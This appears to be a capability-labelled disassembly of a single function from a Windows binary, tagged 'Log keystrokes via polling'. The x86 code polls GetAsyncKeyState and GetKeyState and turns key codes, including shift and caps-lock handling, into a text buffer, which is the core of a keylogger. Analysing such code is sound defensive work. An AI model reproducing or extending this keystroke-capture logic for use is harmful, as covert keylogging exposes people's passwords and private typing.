Function at 0x403842
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.clear__
cmp dword [0x450030], 0x12
jne 0x403893
mov dword [esp], 0x12
call sub.USER32.dll_GetAsyncKeyState
sub esp, 4
test ax, ax
jne 0x403893
mov dword [esp + 4], str.__ALT_
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [0x450030], 0
cmp dword [ebp + 0xc], 0x43
jne 0x4038ad
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x4038c9
cmp dword [ebp + 0xc], 0x63
jne 0x4038d5
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x4038c9
jmp 0x4038d5
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x12
jne 0x40391c
cmp dword [0x450030], 0x12
je 0x403910
mov dword [esp + 4], str._ALT_
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [0x450030], 0x12
mov dword [ebp - 4], 1
jmp 0x403bb1
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 8
jne 0x403944
mov dword [esp + 4], str._BACKSPACE_
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 1
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x20
jne 0x40396c
mov dword [esp + 4], 0x44d02e
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x2e
jne 0x403994
mov dword [esp + 4], str._DELETE_
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 9
jne 0x4039bc
mov dword [esp + 4], 0x44d013
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 1
jne 0x4039e4
mov dword [esp + 4], 0x44d013
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0xd
jne 0x403a0c
mov dword [esp + 4], 0x44d013
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x11
jne 0x403a1e
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x90
jne 0x403a49
mov dword [esp + 4], str._NUM_LOCK_
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 2
jmp 0x403bb1
cmp dword [ebp + 0xc], 0xbe
je 0x403a5a
cmp dword [ebp + 0xc], 0x6e
je 0x403a5a
jmp 0x403a7c
mov dword [esp + 4], 0x44d044
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [ebp - 4], 1
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x5f
jle 0x403ab2
cmp dword [ebp + 0xc], 0x69
jg 0x403ab2
lea eax, [ebp + 0xc]
sub dword [eax], 0x30
mov eax, dword [ebp + 0xc]
movsx eax, al
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_
mov dword [ebp - 4], 1
jmp 0x403bb1
cmp dword [ebp + 0xc], 0x2f
jle 0x403ae2
cmp dword [ebp + 0xc], 0x3b
jg 0x403ae2
mov eax, dword [ebp + 0xc]
movsx eax, al
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_
mov dword [ebp - 4], 1
jmp 0x403bb1
cmp dword [ebp + 0xc], 1
jne 0x403af3
cmp dword [ebp + 0xc], 2
jne 0x403af3
jmp 0x403baa
cmp dword [ebp + 0xc], 0x40
jle 0x403ba1
cmp dword [ebp + 0xc], 0x5a
jg 0x403ba1
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
je 0x403b2f
mov dword [esp], 0x10
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
jns 0x403b59
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
jne 0x403b7a
mov dword [esp], 0x10
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x403b59
jmp 0x403b7a
mov eax, dword [ebp + 0xc]
movsx eax, al
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_
mov dword [ebp - 4], 1
jmp 0x403bb1
lea eax, [ebp + 0xc]
add dword [eax], 0x20
mov eax, dword [ebp + 0xc]
movsx eax, al
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.operator_char_
mov dword [ebp - 4], 1
jmp 0x403bb1
mov dword [ebp - 4], 2
jmp 0x403bb1
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
leave
ret